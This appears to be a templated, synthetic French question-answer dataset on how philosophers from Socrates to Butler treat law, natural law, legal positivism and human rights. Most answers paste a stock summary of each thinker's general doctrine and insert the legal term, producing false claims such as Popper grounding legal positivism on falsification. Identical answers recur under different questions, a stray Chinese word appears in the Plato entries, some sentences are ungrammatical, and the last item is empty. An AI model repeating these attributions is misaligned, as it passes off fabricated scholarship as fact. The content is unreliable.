Stoiciens aborde droit dans Epictete Manuel et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de oikeiosis, qui éclaire sa conception de droit. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_0801, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Kierkegaard critique-t-il la notion traditionnelle de droit ?. Output: response.

Exemples:
QUERY: Comment Kierkegaard critique-t-il la notion traditionnelle de droit ?... -> response_body

Response:
Kierkegaard pense droit comme existence singulière face à Dieu, dans l'angoisse et le saut de la foi. Il distingue trois stades sur le chemin de la vie : esthétique (recherche du plaisir et de l'immédiateté), éthique (devoir universel et mariage) et religieux (rapport absolu à l'absolu, suspension téléologique de l'éthique). La subjectivité est la vérité pour le sujet existant qui doit s'engager personnellement dans son existence. L'angoisse est le vertige de la liberté devant le possible, non la peur devant quelque chose de déterminé.

(Module: AEX_DROI_0807, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez le concept de droit chez Augustin.. Output: response.

Exemples:
QUERY: Expliquez le concept de droit chez Augustin.... -> response_body

Response:
Augustin réfléchit à droit à la lumière de sa conversion et de sa théologie trinitaire. Dans les Confessions, il analyse le temps comme distension de l'âme : présent du passé (mémoire), présent du présent (intuition) et présent du futur (attente). Sa doctrine de l'illumination divine explique la connaissance comme participation à la Vérité éternelle en Dieu. Il distingue la cité terrestre (amour de soi jusqu'au mépris de Dieu) de la cité céleste (amour de Dieu jusqu'au mépris de soi).

(Module: AEX_DROI_0816, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Que signifie exactement loi pour Lévinas ?. Output: response.

Exemples:
QUERY: Que signifie exactement loi pour Lévinas ?... -> response_body

Response:
Lévinas fait de loi une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_0824, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de positivisme juridique dans la philosophie de Irigaray.. Output: response.

Exemples:
QUERY: Analysez la notion de positivisme juridique dans la philosophie de... -> response_body

Response:
Irigaray analyse positivisme juridique à travers la critique du phallogocentrisme et la construction d'une éthique de la différence sexuelle. Elle montre comment le discours philosophique occidental a effacé le féminin sous le même masculin. Son concept de « parler femme » cherche une expression qui ne soit pas celle du sujet masculin universel. La médiation du corps et le maternel doivent être reconnus dans leur différence irréductible pour une culture de la différence sexuelle.

(Module: AEX_DROI_0836, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Camus aborde-t-il la question de positivisme juridique ?. Output: response, ratio.

Exemples:
QUERY: Comment Camus aborde-t-il la question de positivisme juridique ?... -> response_body

Response:
Camus pense positivisme juridique à partir de l'absurde, né du divorce entre l'homme qui aspire au sens et le monde qui n'en offre pas. Le Mythe de Sisyphe illustre la condition absurde : Sisyphe, conscient de l'inutilité de son effort, trouve le bonheur dans l'accomplissement même de sa tâche. La révolte est la réponse à l'absurde, non par le suicide ni par l'espoir irrationnel, mais par l'engagement solidaire. « Il faut imaginer Sisyphe heureux » : l'absurde ne conduit pas au désespoir mais à l'affirmation lucide de la vie.

(Module: AEX_DROI_0837, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Irigaray concernant droit ?. Output: response.

Exemples:
QUERY: En quoi consiste la théorie de Irigaray concernant droit ?... -> response_body

Response:
Irigaray analyse droit à travers la critique du phallogocentrisme et la construction d'une éthique de la différence sexuelle. Elle montre comment le discours philosophique occidental a effacé le féminin sous le même masculin. Son concept de « parler femme » cherche une expression qui ne soit pas celle du sujet masculin universel. La médiation du corps et le maternel doivent être reconnus dans leur différence irréductible pour une culture de la différence sexuelle.

(Module: AEX_DROI_0872, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que positivisme juridique est central chez Lévinas ?. Output: response.

Exemples:
QUERY: Peut-on dire que positivisme juridique est central chez Lévinas ?... -> response_body

Response:
Lévinas fait de positivisme juridique une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_0918, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir positivisme juridique d'après Locke ?. Output: response.

Exemples:
QUERY: Comment définir positivisme juridique d'après Locke ?... -> response_body

Response:
Locke aborde positivisme juridique par l'empirisme : l'esprit est une tabula rasa sur laquelle l'expérience imprime ses idées. Distinguant qualités primaires (objectives : étendue, figure, mouvement) et secondaires (subjectives : couleur, son, goût), il fonde la connaissance sur les idées simples issues de la sensation et de la réflexion. En politique, son contrat social limite l'État à la protection des droits naturels (vie, liberté, propriété) et justifie le droit de révolution en cas d'abus de pouvoir tyrannique.

(Module: AEX_DROI_0963, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droits de l'homme selon Rawls ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de droits de l'homme selon Rawls... -> response_body

Response:
Rawls fonde droits de l'homme sur la justice comme équité dans une position originelle sous le voile d'ignorance. Ses deux principes de justice sont : l'égale liberté pour tous, et les inégalités seulement si elles profitent aux plus défavorisés (principe de différence) et si les positions sont ouvertes à tous (égalité équitable des chances). Sa théorie du consensus par recoupement (overlapping consensus) et de la raison publique vise à fonder une société pluraliste et stable où des conceptions du bien différentes coexistent.

(Module: AEX_DROI_0988, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir droit naturel d'après Lévinas ?. Output: response.

Exemples:
QUERY: Comment définir droit naturel d'après Lévinas ?... -> response_body

Response:
Lévinas fait de droit naturel une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_1001, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Lévinas critique-t-il la notion traditionnelle de positivisme juridique ?. Output: response.

Exemples:
QUERY: Comment Lévinas critique-t-il la notion traditionnelle de positivisme juridique ?... -> response_body

Response:
Lévinas fait de positivisme juridique une éthique comme philosophie première, avant l'ontologie et la gnoseologie. Le visage d'autrui, dans sa nudité et sa vulnérabilité, m'appelle à une responsabilité infinie et asymétrique. Totalité et Infini distingue la totalité close de la guerre de l'Infini de la relation éthique à autrui. Autrement qu'être approfondit cette responsabilité jusqu'à la substitution où je suis otage d'autrui. L'illéité est la trace de Dieu dans le visage, qui échappe à toute thématisation.

(Module: AEX_DROI_1047, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droit naturel selon Averroès ?. Output: response, ratio.

Exemples:
QUERY: Quels sont les enjeux de droit naturel selon Averroès ?... -> response_body

Response:
Averroès pense droit naturel en commentateur d'Aristote et défend l'autonomie de la philosophie face à la théologie. Sa théorie de l'intellect agent unique (monopsychisme) soutient que l'intellect universel est le même pour tous les hommes. Il distingue la vérité philosophique (démonstration rationnelle) de la vérité religieuse (images et récits accessibles à tous), tout en affirmant la nécessité de l'interprétation allégorique des textes sacrés pour les philosophes.

(Module: AEX_DROI_1059, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de droit dans la philosophie de Locke.. Output: response.

Exemples:
QUERY: Analysez la notion de droit dans la philosophie de Locke.... -> response_body

Response:
Locke aborde droit par l'empirisme : l'esprit est une tabula rasa sur laquelle l'expérience imprime ses idées. Distinguant qualités primaires (objectives : étendue, figure, mouvement) et secondaires (subjectives : couleur, son, goût), il fonde la connaissance sur les idées simples issues de la sensation et de la réflexion. En politique, son contrat social limite l'État à la protection des droits naturels (vie, liberté, propriété) et justifie le droit de révolution en cas d'abus de pouvoir tyrannique.

(Module: AEX_DROI_1077, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Hegel aborde-t-il la question de droit naturel ?. Output: response, ratio.

Exemples:
QUERY: Comment Hegel aborde-t-il la question de droit naturel ?... -> response_body

Response:
Hegel conçoit droit naturel comme processus dialectique où chaque étape est à la fois niée et conservée (Aufhebung). La Phénoménologie de l'esprit décrit le chemin de la conscience vers le Savoir absolu : conscience, conscience de soi (dialectique du maître et de l'esclave), raison et esprit. La reconnaissance par l'autre est constitutive de la conscience de soi. Pour Hegel, « tout le réel est rationnel et tout le rationnel est réel » : l'histoire est le progrès de l'esprit vers la liberté.

(Module: AEX_DROI_1099, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Kant concernant positivisme juridique ?. Output: response.

Exemples:
QUERY: En quoi consiste la théorie de Kant concernant positivisme juridique... -> response_body

Response:
Kant opère une révolution copernicienne de positivisme juridique : ce ne sont plus les connaissances qui se règlent sur les objets, mais les objets sur nos facultés de connaître. Il distingue le phénomène (ce qui apparaît à travers les formes a priori de la sensibilité : espace et temps) du noumène (la chose en soi inaccessible). Sa philosophie morale défend l'impératif catégorique : « Agis selon une maxime qui puisse devenir une loi universelle. » Le sujet transcendantal, avec ses catégories (quantité, qualité, relation, modalité), est la condition de possibilité de l'expérience.

(Module: AEX_DROI_1103, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Sceptiques à la réflexion sur positivisme juridique ?. Output: response.

Exemples:
QUERY: Quelle est la contribution de Sceptiques à la réflexion sur... -> response_body

Response:
Les Sceptiques (Pyrrhon, Sextus Empiricus) suspendent leur jugement (épochè) face à l'égale force probante (isosthénie) des arguments opposés sur toute question. Ils visent l'ataraxie par la suspension du jugement dogmatique, sans nier les phénomènes. Leur méthode zététique consiste à chercher sans jamais affirmer, opposant à chaque argument un contre-argument de poids équivalent selon les dix modes (tropes) d'Enésidème.

(Module: AEX_DROI_1227, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe droits de l'homme dans la pensée de Epicure ?. Output: response.

Exemples:
QUERY: Quelle place occupe droits de l'homme dans la pensée de... -> response_body

Response:
Epicure aborde droits de l'homme dans Lettre a Herodote et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de ataraxie, qui éclaire sa conception de droits de l'homme. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_1239, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment définir droits de l'homme d'après Socrate ?. Output: response.

Exemples:
QUERY: Comment définir droits de l'homme d'après Socrate ?... -> response_body

Response:
Socrate aborde droits de l'homme par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_1363, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Platon concernant droits de l'homme ?. Output: response, ratio.

Exemples:
QUERY: En quoi consiste la théorie de Platon concernant droits de... -> response_body

Response:
Platon aborde droits de l'homme à travers la distinction entre le monde sensible des apparences et le monde intelligible des Idées. Dans La République, l'allégorie de la caverne illustre le passage de l'opinion (doxa) à la connaissance véritable (épistémè). L'âme tripartite (rationnelle, irascible, concupiscible) doit s'élever par la dialectique vers la contemplation du Bien, source de toute réalité et de toute intelligibilité selon la类比 du soleil.

(Module: AEX_DROI_1371, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Irigaray renouvelle la compréhension de loi.. Output: response.

Exemples:
QUERY: Expliquez comment Irigaray renouvelle la compréhension de loi.... -> response_body

Response:
Irigaray analyse loi à travers la critique du phallogocentrisme et la construction d'une éthique de la différence sexuelle. Elle montre comment le discours philosophique occidental a effacé le féminin sous le même masculin. Son concept de « parler femme » cherche une expression qui ne soit pas celle du sujet masculin universel. La médiation du corps et le maternel doivent être reconnus dans leur différence irréductible pour une culture de la différence sexuelle.

(Module: AEX_DROI_1390, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Augustin à propos de droits de l'homme ?. Output: response.

Exemples:
QUERY: Quelle est l'originalité de Augustin à propos de droits de... -> response_body

Response:
Augustin réfléchit à droits de l'homme à la lumière de sa conversion et de sa théologie trinitaire. Dans les Confessions, il analyse le temps comme distension de l'âme : présent du passé (mémoire), présent du présent (intuition) et présent du futur (attente). Sa doctrine de l'illumination divine explique la connaissance comme participation à la Vérité éternelle en Dieu. Il distingue la cité terrestre (amour de soi jusqu'au mépris de Dieu) de la cité céleste (amour de Dieu jusqu'au mépris de soi).

(Module: AEX_DROI_1431, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Analysez la notion de loi dans la philosophie de Sceptiques.. Output: response.

Exemples:
QUERY: Analysez la notion de loi dans la philosophie de Sceptiques.... -> response_body

Response:
Les Sceptiques (Pyrrhon, Sextus Empiricus) suspendent leur jugement (épochè) face à l'égale force probante (isosthénie) des arguments opposés sur toute question. Ils visent l'ataraxie par la suspension du jugement dogmatique, sans nier les phénomènes. Leur méthode zététique consiste à chercher sans jamais affirmer, opposant à chaque argument un contre-argument de poids équivalent selon les dix modes (tropes) d'Enésidème.

(Module: AEX_DROI_1441, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Hegel par droits de l'homme ?. Output: response, ratio.

Exemples:
QUERY: Qu'entend Hegel par droits de l'homme ?... -> response_body

Response:
Hegel conçoit droits de l'homme comme processus dialectique où chaque étape est à la fois niée et conservée (Aufhebung). La Phénoménologie de l'esprit décrit le chemin de la conscience vers le Savoir absolu : conscience, conscience de soi (dialectique du maître et de l'esclave), raison et esprit. La reconnaissance par l'autre est constitutive de la conscience de soi. Pour Hegel, « tout le réel est rationnel et tout le rationnel est réel » : l'histoire est le progrès de l'esprit vers la liberté.

(Module: AEX_DROI_1442, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Thomas d'Aquin par droit naturel ?. Output: response.

Exemples:
QUERY: Qu'entend Thomas d'Aquin par droit naturel ?... -> response_body

Response:
Thomas d'Aquin aborde droit naturel par la synthèse de la philosophie aristotélicienne et de la théologie chrétienne. Sa doctrine de l'analogie de l'être permet de parler de Dieu sans anthropomorphisme. Il pose les cinq voies pour démontrer l'existence de Dieu : mouvement, causalité efficiente, contingence, degrés de perfection et finalité. La loi naturelle fonde la morale sur les inclinations fondamentales de la nature humaine : conserver la vie, procréer, connaître la vérité et vivre en société.

(Module: AEX_DROI_1493, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Nozick à la réflexion sur positivisme juridique ?. Output: response.

Exemples:
QUERY: Quelle est la contribution de Nozick à la réflexion sur... -> response_body

Response:
Nozick analyse positivisme juridique à partir du libertarisme et des droits individuels intangibles. Son État minimal se justifie par la théorie de l'entitlement : justice d'acquisition, de transfert et de rectification. Il critique la théorie de Rawls en défendant la liberté négative contre la redistribution imposée. Son expérience de pensée de la « machine à expériences » remet en question l'hédonisme : nous voulons réellement faire certaines choses, pas seulement les ressentir, ce qui réfute l'utilitarisme hédoniste.

(Module: AEX_DROI_1499, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe loi dans la pensée de Leibniz ?. Output: response.

Exemples:
QUERY: Quelle place occupe loi dans la pensée de Leibniz ?... -> response_body

Response:
Leibniz conçoit loi à partir des monades, substances simples sans interaction causale directe, synchronisées par l'harmonie préétablie par Dieu. Son principe de raison suffisante affirme que tout a une raison d'être. Sa théodicée défend que notre monde est le meilleur des mondes possibles malgré l'existence du mal (physique, métaphysique et moral). En logique, il distingue les vérités de raison (nécessaires, fondées sur le principe de contradiction) des vérités de fait (contingentes, fondées sur le principe de raison suffisante).

(Module: AEX_DROI_1514, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Wittgenstein aborde-t-il la question de droit ?. Output: response.

Exemples:
QUERY: Comment Wittgenstein aborde-t-il la question de droit ?... -> response_body

Response:
Wittgenstein analyse droit à travers le langage et ses usages. Dans le Tractatus, le langage est image logique du monde : les propositions dépeignent des états de choses. Dans les Investigations philosophiques, le langage devient jeu de langage inscrit dans une forme de vie. La signification d'un mot est son usage dans le langage, et non sa correspondance à un objet. « Ce dont on ne peut parler, il faut le taire » : les problèmes philosophiques naissent de la méconnaissance du fonctionnement du langage.

(Module: AEX_DROI_1623, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe positivisme juridique dans la pensée de Beauvoir ?. Output: response.

Exemples:
QUERY: Quelle place occupe positivisme juridique dans la pensée de Beauvoir... -> response_body

Response:
Beauvoir analyse positivisme juridique à partir de l'existentialisme et de la condition féminine. Le Deuxième Sexe établit la distinction entre sexe (biologique) et genre (construit social), montrant comment la femme a été construite comme l'Autre par rapport à l'homme-Sujet. « On ne naît pas femme, on le devient. » Sa morale de l'ambiguïté assume la tension entre liberté et situation, et appelle à la réciprocité des consciences dans la reconnaissance mutuelle des libertés.

(Module: AEX_DROI_1656, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Socrate à la réflexion sur positivisme juridique ?. Output: response.

Exemples:
QUERY: Quelle est la contribution de Socrate à la réflexion sur... -> response_body

Response:
Socrate aborde positivisme juridique par sa méthode maïeutique, interrogeant sans jamais donner de réponse définitive. Dans les dialogues de Platon, il amène ses interlocuteurs à reconnaître leur ignorance par l'ironie socratique. Sa maxime « Connais-toi toi-même » indique que la sagesse commence par l'examen de soi. Pour lui, la vertu est connaissance et le mal n'est qu'ignorance, thèse connue sous le nom d'intellectualisme moral.

(Module: AEX_DROI_1659, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Comment Platon critique-t-il la notion traditionnelle de droit naturel ?. Output: response, ratio.

Exemples:
QUERY: Comment Platon critique-t-il la notion traditionnelle de droit naturel ?... -> response_body

Response:
Platon aborde droit naturel à travers la distinction entre le monde sensible des apparences et le monde intelligible des Idées. Dans La République, l'allégorie de la caverne illustre le passage de l'opinion (doxa) à la connaissance véritable (épistémè). L'âme tripartite (rationnelle, irascible, concupiscible) doit s'élever par la dialectique vers la contemplation du Bien, source de toute réalité et de toute intelligibilité selon la类比 du soleil.

(Module: AEX_DROI_1663, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Rousseau à propos de positivisme juridique ?. Output: response.

Exemples:
QUERY: Quelle est l'originalité de Rousseau à propos de positivisme juridique... -> response_body

Response:
Rousseau pense positivisme juridique à partir de l'état de nature, où l'homme est bon et libre, corrompu par la société et la propriété. Son contrat social fonde une communauté politique où la volonté générale, orientée vers le bien commun, s'exprime dans la souveraineté populaire indivisible et inaliénable. L'Émile propose une éducation négative qui respecte le développement naturel de l'enfant. Rousseau distingue l'amour de soi (naturel, positif) de l'amour-propre (social, source de rivalité et d'inégalité).

(Module: AEX_DROI_1665, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droits de l'homme selon Beauvoir ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de droits de l'homme selon Beauvoir... -> response_body

Response:
Beauvoir analyse droits de l'homme à partir de l'existentialisme et de la condition féminine. Le Deuxième Sexe établit la distinction entre sexe (biologique) et genre (construit social), montrant comment la femme a été construite comme l'Autre par rapport à l'homme-Sujet. « On ne naît pas femme, on le devient. » Sa morale de l'ambiguïté assume la tension entre liberté et situation, et appelle à la réciprocité des consciences dans la reconnaissance mutuelle des libertés.

(Module: AEX_DROI_1677, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droits de l'homme est central chez Hegel ?. Output: response, ratio.

Exemples:
QUERY: Peut-on dire que droits de l'homme est central chez Hegel... -> response_body

Response:
Hegel conçoit droits de l'homme comme processus dialectique où chaque étape est à la fois niée et conservée (Aufhebung). La Phénoménologie de l'esprit décrit le chemin de la conscience vers le Savoir absolu : conscience, conscience de soi (dialectique du maître et de l'esclave), raison et esprit. La reconnaissance par l'autre est constitutive de la conscience de soi. Pour Hegel, « tout le réel est rationnel et tout le rationnel est réel » : l'histoire est le progrès de l'esprit vers la liberté.

(Module: AEX_DROI_1747, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Popper à la réflexion sur positivisme juridique ?. Output: response, ratio.

Exemples:
QUERY: Quelle est la contribution de Popper à la réflexion sur... -> response_body

Response:
Popper refonde positivisme juridique sur le critère de falsification : une théorie est scientifique si elle fait des prédictions qui peuvent être contredites par l'expérience. Contre le positivisme logique (critère de vérification), il propose le rationalisme critique où la connaissance progresse par conjectures et réfutations. Sa critique de l'historicisme rejette les grandes théories déterministes de l'histoire. La société ouverte repose sur la discussion critique et la démocratie pluraliste.

(Module: AEX_DROI_1757, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Wittgenstein par positivisme juridique ?. Output: response.

Exemples:
QUERY: Qu'entend Wittgenstein par positivisme juridique ?... -> response_body

Response:
Wittgenstein analyse positivisme juridique à travers le langage et ses usages. Dans le Tractatus, le langage est image logique du monde : les propositions dépeignent des états de choses. Dans les Investigations philosophiques, le langage devient jeu de langage inscrit dans une forme de vie. La signification d'un mot est son usage dans le langage, et non sa correspondance à un objet. « Ce dont on ne peut parler, il faut le taire » : les problèmes philosophiques naissent de la méconnaissance du fonctionnement du langage.

(Module: AEX_DROI_1802, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Derrida concernant droit ?. Output: response.

Exemples:
QUERY: En quoi consiste la théorie de Derrida concernant droit ?... -> response_body

Response:
Derrida aborde droit par la déconstruction des oppositions hiérarchisées de la métaphysique occidentale (parole/écriture, présence/absence, nature/culture, homme/femme). La différance (à la fois différence et report) est le jeu des différences qui produit tout sens sans origine ni centre. La déconstruction montre que tout texte est traversé par des forces qu'il ne maîtrise pas et que la signification est toujours différée. Le supplément, la trace et le phallogocentrisme sont d'autres concepts clés de sa pensée.

(Module: AEX_DROI_1840, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est l'originalité de Popper à propos de droit naturel ?. Output: response, ratio.

Exemples:
QUERY: Quelle est l'originalité de Popper à propos de droit naturel... -> response_body

Response:
Popper refonde droit naturel sur le critère de falsification : une théorie est scientifique si elle fait des prédictions qui peuvent être contredites par l'expérience. Contre le positivisme logique (critère de vérification), il propose le rationalisme critique où la connaissance progresse par conjectures et réfutations. Sa critique de l'historicisme rejette les grandes théories déterministes de l'histoire. La société ouverte repose sur la discussion critique et la démocratie pluraliste.

(Module: AEX_DROI_1846, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe positivisme juridique dans la pensée de Stoiciens ?. Output: response.

Exemples:
QUERY: Quelle place occupe positivisme juridique dans la pensée de Stoiciens... -> response_body

Response:
Stoiciens aborde positivisme juridique dans Seneque Lettres et l'ensemble de son œuvre. Sa pensée se caractérise par la notion de phantasia, qui éclaire sa conception de positivisme juridique. Cette approche propose une contribution originale à la réflexion philosophique sur ce thème fondamental.

(Module: AEX_DROI_1856, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Développez l'argument de Rousseau sur droit.. Output: response.

Exemples:
QUERY: Développez l'argument de Rousseau sur droit.... -> response_body

Response:
Rousseau pense droit à partir de l'état de nature, où l'homme est bon et libre, corrompu par la société et la propriété. Son contrat social fonde une communauté politique où la volonté générale, orientée vers le bien commun, s'exprime dans la souveraineté populaire indivisible et inaliénable. L'Émile propose une éducation négative qui respecte le développement naturel de l'enfant. Rousseau distingue l'amour de soi (naturel, positif) de l'amour-propre (social, source de rivalité et d'inégalité).

(Module: AEX_DROI_1895, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: En quoi consiste la théorie de Foucault concernant droit naturel ?. Output: response.

Exemples:
QUERY: En quoi consiste la théorie de Foucault concernant droit naturel... -> response_body

Response:
Foucault analyse droit naturel à travers les dispositifs de savoir-pouvoir qui produisent les sujets et les normes. Son archéologie du savoir dégage les épistémè (structures inconscientes du savoir) organisant les discours d'une époque. Sa généalogie du pouvoir montre le passage du pouvoir souverain (supplice) au biopouvoir (gestion de la vie des populations). La discipline, dans Surveiller et punir, fabrique des corps dociles et utiles par la surveillance panoptique selon Bentham. La gouvernementalité analyse comment le pouvoir s'exerce sur une population dans l'État moderne.

(Module: AEX_DROI_1932, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Butler à la réflexion sur droits de l'homme ?. Output: response.

Exemples:
QUERY: Quelle est la contribution de Butler à la réflexion sur... -> response_body

Response:
Butler analyse droits de l'homme à travers la performativité du genre : le genre n'est pas une identité stable mais une performance répétée qui constitue ce qu'elle nomme. Trouble dans le genre critique la matrice hétérosexuelle qui naturalise l'hétérosexualité en produisant des sujets sexués cohérents. La précarité (precarity) est une condition politique partagée qui peut fonder de nouvelles formes de communauté et de résistance. Les normes produisent ce qu'elles prétendent simplement décrire.

(Module: AEX_DROI_1945, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Qu'entend Schopenhauer par droit ?. Output: response, ratio.

Exemples:
QUERY: Qu'entend Schopenhauer par droit ?... -> response_body

Response:
Schopenhauer pense droit à partir de la Volonté (Wille), réalité métaphysique aveugle et irrationnelle qui est l'essence du monde. Le monde comme volonté et comme représentation distingue le monde des phénomènes (régis par le principe de raison) de la chose en soi (la Volonté). Sa philosophie pessimiste voit la vie comme un pendule entre souffrance et ennui. L'art, surtout la musique, offre une libération temporaire de l'asservissement à la Volonté. La pitié (Mitleid) est le fondement de la morale véritable.

(Module: AEX_DROI_1978, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quels sont les enjeux de droit naturel selon Kierkegaard ?. Output: response.

Exemples:
QUERY: Quels sont les enjeux de droit naturel selon Kierkegaard ?... -> response_body

Response:
Kierkegaard pense droit naturel comme existence singulière face à Dieu, dans l'angoisse et le saut de la foi. Il distingue trois stades sur le chemin de la vie : esthétique (recherche du plaisir et de l'immédiateté), éthique (devoir universel et mariage) et religieux (rapport absolu à l'absolu, suspension téléologique de l'éthique). La subjectivité est la vérité pour le sujet existant qui doit s'engager personnellement dans son existence. L'angoisse est le vertige de la liberté devant le possible, non la peur devant quelque chose de déterminé.

(Module: AEX_DROI_1984, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle place occupe droit dans la pensée de Guillaume d'Ockham ?. Output: response, taux.

Exemples:
QUERY: Quelle place occupe droit dans la pensée de Guillaume d'Ockham... -> response_body

Response:
Ockham révolutionne droit par son nominalisme radical : les universaux ne sont que des concepts de l'esprit, des signes mentaux (intentiones animae). Son fameux rasoir (« Les entités ne doivent pas être multipliées sans nécessité ») élimine les hypothèses superflues. Il distingue la puissance absolue de Dieu (tout est possible logiquement) de sa puissance ordonnée (ce qu'il a choisi de faire), ouvrant la voie au volontarisme théologique.

(Module: AEX_DROI_2011, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Quelle est la contribution de Thomas d'Aquin à la réflexion sur droit ?. Output: response.

Exemples:
QUERY: Quelle est la contribution de Thomas d'Aquin à la réflexion... -> response_body

Response:
Thomas d'Aquin aborde droit par la synthèse de la philosophie aristotélicienne et de la théologie chrétienne. Sa doctrine de l'analogie de l'être permet de parler de Dieu sans anthropomorphisme. Il pose les cinq voies pour démontrer l'existence de Dieu : mouvement, causalité efficiente, contingence, degrés de perfection et finalité. La loi naturelle fonde la morale sur les inclinations fondamentales de la nature humaine : conserver la vie, procréer, connaître la vérité et vivre en société.

(Module: AEX_DROI_2019, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Rousseau renouvelle la compréhension de loi.. Output: response.

Exemples:
QUERY: Expliquez comment Rousseau renouvelle la compréhension de loi.... -> response_body

Response:
Rousseau pense loi à partir de l'état de nature, où l'homme est bon et libre, corrompu par la société et la propriété. Son contrat social fonde une communauté politique où la volonté générale, orientée vers le bien commun, s'exprime dans la souveraineté populaire indivisible et inaliénable. L'Émile propose une éducation négative qui respecte le développement naturel de l'enfant. Rousseau distingue l'amour de soi (naturel, positif) de l'amour-propre (social, source de rivalité et d'inégalité).

(Module: AEX_DROI_2066, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Peut-on dire que droit naturel est central chez Guillaume d'Ockham ?. Output: response, taux.

Exemples:
QUERY: Peut-on dire que droit naturel est central chez Guillaume d'Ockham... -> response_body

Response:
Ockham révolutionne droit naturel par son nominalisme radical : les universaux ne sont que des concepts de l'esprit, des signes mentaux (intentiones animae). Son fameux rasoir (« Les entités ne doivent pas être multipliées sans nécessité ») élimine les hypothèses superflues. Il distingue la puissance absolue de Dieu (tout est possible logiquement) de sa puissance ordonnée (ce qu'il a choisi de faire), ouvrant la voie au volontarisme théologique.

(Module: AEX_DROI_2119, Domaine: philosophie, Authority: 0.97)


Prompt:
Instruction: Expliquez comment Schopenhauer renouvelle la compréhension de droits de l'homme.. Output: response, ratio.

Exemples:
QUERY: Expliquez comment Schopenhauer renouvelle la compréhension de droits de l'homme.... -> response_body

Response:
